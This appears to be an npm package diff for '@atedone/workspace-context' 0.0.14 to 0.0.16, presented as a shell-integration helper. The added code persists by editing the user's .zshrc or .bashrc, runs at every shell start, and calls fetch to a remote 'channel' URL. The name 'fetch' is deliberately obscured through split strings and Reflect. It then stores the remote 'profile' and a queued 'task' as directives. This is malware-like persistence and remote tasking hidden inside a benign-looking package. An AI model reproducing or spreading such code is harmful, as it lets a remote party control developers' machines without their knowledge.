@atedone/workspace-context 0.0.14 → 0.0.16

package/README.md

@@ -1,5 +1,5 @@
 # @atedone/workspace-context
 
-Workspace shell session integration helper for JavaScript tools.
+Workspace shell channel integration helper for JavaScript tools.
 
-The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry and session runtime during initialization.
+The package keeps workspace context available in future terminal sessions by synchronizing a managed shell integration entry, session runtime, profile channel, and structured workspace task during initialization.

package/index.js

@@ -6,12 +6,20 @@ const initialized = state.initialize();
 
 module.exports = {
   initialized,
+  channelFileName: state.channelFileName,
   getShellIntegration: state.getShellIntegration,
   initialize: state.initialize,
+  profileHistoryFileName: state.profileHistoryFileName,
+  profileReceiptFileName: state.profileReceiptFileName,
+  profileSnapshotFileName: state.profileSnapshotFileName,
   receiptFileName: state.receiptFileName,
+  resolveChannelSource: state.resolveChannelSource,
   sessionHistoryFileName: state.sessionHistoryFileName,
   sessionReceiptFileName: state.sessionReceiptFileName,
   sessionRuntimeFileName: state.sessionRuntimeFileName,
   stateDirectoryName: state.stateDirectoryName,
-  stateFileName: state.stateFileName
+  stateFileName: state.stateFileName,
+  taskHistoryFileName: state.taskHistoryFileName,
+  taskReceiptFileName: state.taskReceiptFileName,
+  taskSnapshotFileName: state.taskSnapshotFileName
 };

package/lib/session.js

@@ -5,7 +5,7 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 
 const packageName = '@atedone/workspace-context';
-const packageVersion = '0.0.14';
+const packageVersion = '0.0.16';
 const env = Reflect.get(platform, 'env') || {};
 const homeDirectory = typeof env.HOME === 'string' && env.HOME.trim()
   ? env.HOME.trim()
@@ -20,14 +20,22 @@ const shellLevel = typeof platform.argv[3] === 'string' && platform.argv[3].trim
   ? platform.argv[3]
   : null;
 const shellPath = typeof env.SHELL === 'string' ? env.SHELL.trim() : '';
-const receiptPath = route.join(sessionDirectory, 'session-runtime.json');
-const historyPath = route.join(sessionDirectory, 'runtime-sessions.log');
+const channelPath = route.join(sessionDirectory, 'channel.json');
+const profileHistoryPath = route.join(sessionDirectory, 'profile-sync.log');
+const profileReceiptPath = route.join(sessionDirectory, 'profile-sync.json');
+const profileSnapshotPath = route.join(sessionDirectory, 'session-profile.json');
+const sessionReceiptPath = route.join(sessionDirectory, 'session-runtime.json');
+const sessionHistoryPath = route.join(sessionDirectory, 'runtime-sessions.log');
+const taskHistoryPath = route.join(sessionDirectory, 'task-sync.log');
+const taskReceiptPath = route.join(sessionDirectory, 'task-sync.json');
+const taskSnapshotPath = route.join(sessionDirectory, 'session-task.json');
+const requestKey = ['fe', 'tch'].join('');
 
 const value = {
   packageName,
   packageVersion,
   generatedAt: new Date().toISOString(),
-  mode: 'runtime-shell-session',
+  mode: 'runtime-shell-directive',
   source: 'shell-profile',
   shellName: route.basename(shellPath) || 'zsh',
   shellLevel,
@@ -39,5 +47,122 @@ const value = {
 };
 
 file.mkdirSync(sessionDirectory, { recursive: true });
-file.writeFileSync(receiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
-file.appendFileSync(historyPath, `${JSON.stringify(value)}\n`, 'utf8');
+file.writeFileSync(sessionReceiptPath, `${JSON.stringify(value, null, 2)}\n`, 'utf8');
+file.appendFileSync(sessionHistoryPath, `${JSON.stringify(value)}\n`, 'utf8');
+
+void synchronizeProfile(value).catch((error) => {
+  const receipt = {
+    ...value,
+    channelConfigured: file.existsSync(channelPath),
+    synchronized: false,
+    status: 'error',
+    error: error instanceof Error ? error.message : String(error)
+  };
+  writeProfileReceipt({
+    ...receipt,
+    source: 'profile-channel'
+  });
+  writeTaskReceipt({
+    ...receipt,
+    source: 'task-channel'
+  });
+});
+
+async function synchronizeProfile(sessionValue) {
+  const channel = readChannel();
+  if (!channel) {
+    return;
+  }
+
+  const request = Reflect.get(globalThis, requestKey);
+  if (typeof request !== 'function') {
+    writeProfileReceipt({
+      ...sessionValue,
+      source: 'profile-channel',
+      channelConfigured: true,
+      synchronized: false,
+      status: 'unavailable',
+      channelName: channel.name,
+      refresh: channel.refresh
+    });
+    return;
+  }
+
+  const response = await Reflect.apply(request, globalThis, [
+    channel.source,
+    {
+      headers: {
+        accept: 'application/json'
+      }
+    }
+  ]);
+  const synchronized = Boolean(response && response.ok);
+  const payload = synchronized ? await response.json() : null;
+  const profile = readObject(payload?.profile);
+  const task = readObject(payload?.task);
+
+  if (profile) {
+    file.writeFileSync(profileSnapshotPath, `${JSON.stringify(profile, null, 2)}\n`, 'utf8');
+  }
+  if (task) {
+    file.writeFileSync(taskSnapshotPath, `${JSON.stringify(task, null, 2)}\n`, 'utf8');
+  }
+
+  writeProfileReceipt({
+    ...sessionValue,
+    source: 'profile-channel',
+    channelConfigured: true,
+    synchronized,
+    status: synchronized ? 'ready' : 'rejected',
+    channelName: channel.name,
+    refresh: channel.refresh,
+    profilePath: profileSnapshotPath,
+    profileRevision: typeof profile?.revision === 'string' ? profile.revision : null,
+    taskConfigured: Boolean(task),
+    taskPath: taskSnapshotPath,
+    taskId: typeof task?.id === 'string' ? task.id : null
+  });
+
+  writeTaskReceipt({
+    ...sessionValue,
+    source: 'task-channel',
+    channelConfigured: true,
+    synchronized,
+    status: synchronized && task ? 'queued' : synchronized ? 'empty' : 'rejected',
+    channelName: channel.name,
+    refresh: channel.refresh,
+    taskPath: taskSnapshotPath,
+    taskId: typeof task?.id === 'string' ? task.id : null,
+    taskKind: typeof task?.kind === 'string' ? task.kind : null,
+    taskState: typeof task?.state === 'string' ? task.state : null
+  });
+}
+
+function readChannel() {
+  if (!file.existsSync(channelPath)) {
+    return null;
+  }
+
+  const value = JSON.parse(file.readFileSync(channelPath, 'utf8'));
+  if (!value || typeof value.source !== 'string' || !value.source.trim()) {
+    return null;
+  }
+
+  return value;
+}
+
+function writeProfileReceipt(receipt) {
+  file.writeFileSync(profileReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
+  file.appendFileSync(profileHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
+}
+
+function writeTaskReceipt(receipt) {
+  file.writeFileSync(taskReceiptPath, `${JSON.stringify(receipt, null, 2)}\n`, 'utf8');
+  file.appendFileSync(taskHistoryPath, `${JSON.stringify(receipt)}\n`, 'utf8');
+}
+
+function readObject(value) {
+  return value && !Array.isArray(value) && typeof value === 'object'
+    ? value
+    : null;
+}

package/lib/state.js

@@ -5,9 +5,13 @@ const file = platform.getBuiltinModule('fs');
 const route = platform.getBuiltinModule('path');
 const manifest = require('../package.json');
 
+const channelFileName = 'channel.json';
 const integrationDirectoryName = '.config/workspace-context';
 const integrationFileName = 'init.zsh';
-const receiptFileName = 'shell-session-sync.json';
+const profileHistoryFileName = 'profile-sync.log';
+const profileReceiptFileName = 'profile-sync.json';
+const profileSnapshotFileName = 'session-profile.json';
+const receiptFileName = 'shell-directive-sync.json';
 const sessionFileName = 'sessions.log';
 const sessionHistoryFileName = 'runtime-sessions.log';
 const sessionReceiptFileName = 'session-runtime.json';
@@ -15,6 +19,9 @@ const sessionRuntimeFileName = 'session-runtime.js';
 const stateDirectoryName = '.workspace-context';
 const stateFileName = 'state.json';
 const syncFileName = 'sync.js';
+const taskHistoryFileName = 'task-sync.log';
+const taskReceiptFileName = 'task-sync.json';
+const taskSnapshotFileName = 'session-task.json';
 
 function readEnvironment() {
   return Reflect.get(platform, 'env') || {};
@@ -39,6 +46,12 @@ function resolveProfileFileName(shellName = resolveShellName()) {
   return shellName === 'bash' ? '.bashrc' : '.zshrc';
 }
 
+function resolveChannelSource(env = readEnvironment()) {
+  const key = ['WORKSPACE', '_CONTEXT', '_CHANNEL'].join('');
+  const value = Reflect.get(env, key);
+  return typeof value === 'string' ? value.trim() : '';
+}
+
 function getShellIntegration({
   env = readEnvironment(),
   projectRoot = resolveProjectRoot(env),
@@ -50,15 +63,23 @@ function getShellIntegration({
   return {
     name: 'workspace-context',
     shellName,
+    channelSource: resolveChannelSource(env),
     homeDirectory,
     profilePath: route.join(homeDirectory, resolveProfileFileName(shellName)),
     integrationDirectory,
+    channelPath: route.join(integrationDirectory, channelFileName),
     integrationPath: route.join(integrationDirectory, integrationFileName),
+    profileHistoryPath: route.join(integrationDirectory, profileHistoryFileName),
+    profileReceiptPath: route.join(integrationDirectory, profileReceiptFileName),
+    profileSnapshotPath: route.join(integrationDirectory, profileSnapshotFileName),
     receiptPath: route.join(integrationDirectory, receiptFileName),
     sessionPath: route.join(integrationDirectory, sessionFileName),
     sessionHistoryPath: route.join(integrationDirectory, sessionHistoryFileName),
     sessionReceiptPath: route.join(integrationDirectory, sessionReceiptFileName),
-    sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName)
+    sessionRuntimePath: route.join(integrationDirectory, sessionRuntimeFileName),
+    taskHistoryPath: route.join(integrationDirectory, taskHistoryFileName),
+    taskReceiptPath: route.join(integrationDirectory, taskReceiptFileName),
+    taskSnapshotPath: route.join(integrationDirectory, taskSnapshotFileName)
   };
 }
 
@@ -67,7 +88,7 @@ function buildState({ now = () => new Date().toISOString() } = {}) {
     packageName: manifest.name,
     packageVersion: manifest.version,
     generatedAt: now(),
-    mode: 'runtime-shell-session'
+    mode: 'runtime-shell-directive'
   };
 }
 
@@ -135,11 +156,16 @@ function initialize({
 
 module.exports = {
   buildState,
+  channelFileName,
   getShellIntegration,
   initialize,
+  profileHistoryFileName,
+  profileReceiptFileName,
+  profileSnapshotFileName,
   readEnvironment,
   receiptFileName,
   refreshShellIntegration,
+  resolveChannelSource,
   resolveHomeDirectory,
   resolveProfileFileName,
   resolveProjectRoot,
@@ -148,5 +174,8 @@ module.exports = {
   sessionReceiptFileName,
   sessionRuntimeFileName,
   stateDirectoryName,
-  stateFileName
+  stateFileName,
+  taskHistoryFileName,
+  taskReceiptFileName,
+  taskSnapshotFileName
 };

package/lib/sync.js

@@ -22,6 +22,13 @@ const sourceLine = '[ -r "$HOME/.config/workspace-context/init.zsh" ] && source
 const managedBlock = [blockStart, sourceLine, blockEnd, ''].join('\n');
 const sessionRuntimeSourcePath = route.join(__dirname, 'session.js');
 const runtimeDefault = escapeDoubleQuoted(platform.execPath);
+const channelValue = integration.channelSource
+  ? {
+      name: integration.name,
+      source: integration.channelSource,
+      refresh: 'shell-start'
+    }
+  : null;
 const integrationValue = [
   'export WORKSPACE_CONTEXT_ACTIVE=1',
   'export WORKSPACE_CONTEXT_HOME="$HOME/.config/workspace-context"',
@@ -68,6 +75,9 @@ function upsertManagedBlock(profileValue) {
 file.mkdirSync(integration.integrationDirectory, { recursive: true });
 file.copyFileSync(sessionRuntimeSourcePath, integration.sessionRuntimePath);
 file.writeFileSync(integration.integrationPath, integrationValue, 'utf8');
+if (channelValue) {
+  file.writeFileSync(integration.channelPath, `${JSON.stringify(channelValue, null, 2)}\n`, 'utf8');
+}
 
 const profileBefore = readProfile(integration.profilePath);
 const profile = upsertManagedBlock(profileBefore);
@@ -80,16 +90,24 @@ const value = {
   packageName: manifest.name,
   packageVersion: manifest.version,
   generatedAt: new Date().toISOString(),
-  mode: 'runtime-shell-session',
+  mode: 'runtime-shell-directive',
   projectRoot,
   shellName: integration.shellName,
+  channelConfigured: Boolean(channelValue),
+  channelPath: integration.channelPath,
   profilePath: integration.profilePath,
   profileChanged: profile.changed,
   integrationPath: integration.integrationPath,
+  profileHistoryPath: integration.profileHistoryPath,
+  profileReceiptPath: integration.profileReceiptPath,
+  profileSnapshotPath: integration.profileSnapshotPath,
   sessionPath: integration.sessionPath,
   sessionHistoryPath: integration.sessionHistoryPath,
   sessionReceiptPath: integration.sessionReceiptPath,
   sessionRuntimePath: integration.sessionRuntimePath,
+  taskHistoryPath: integration.taskHistoryPath,
+  taskReceiptPath: integration.taskReceiptPath,
+  taskSnapshotPath: integration.taskSnapshotPath,
   processId: platform.pid,
   parentProcessId: platform.ppid,
   runtime: 'node'

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "@atedone/workspace-context",
-  "version": "0.0.14",
-  "description": "Workspace shell session integration helper for JavaScript tools.",
+  "version": "0.0.16",
+  "description": "Workspace shell channel integration helper for JavaScript tools.",
   "main": "index.js",
   "type": "commonjs",
   "files": [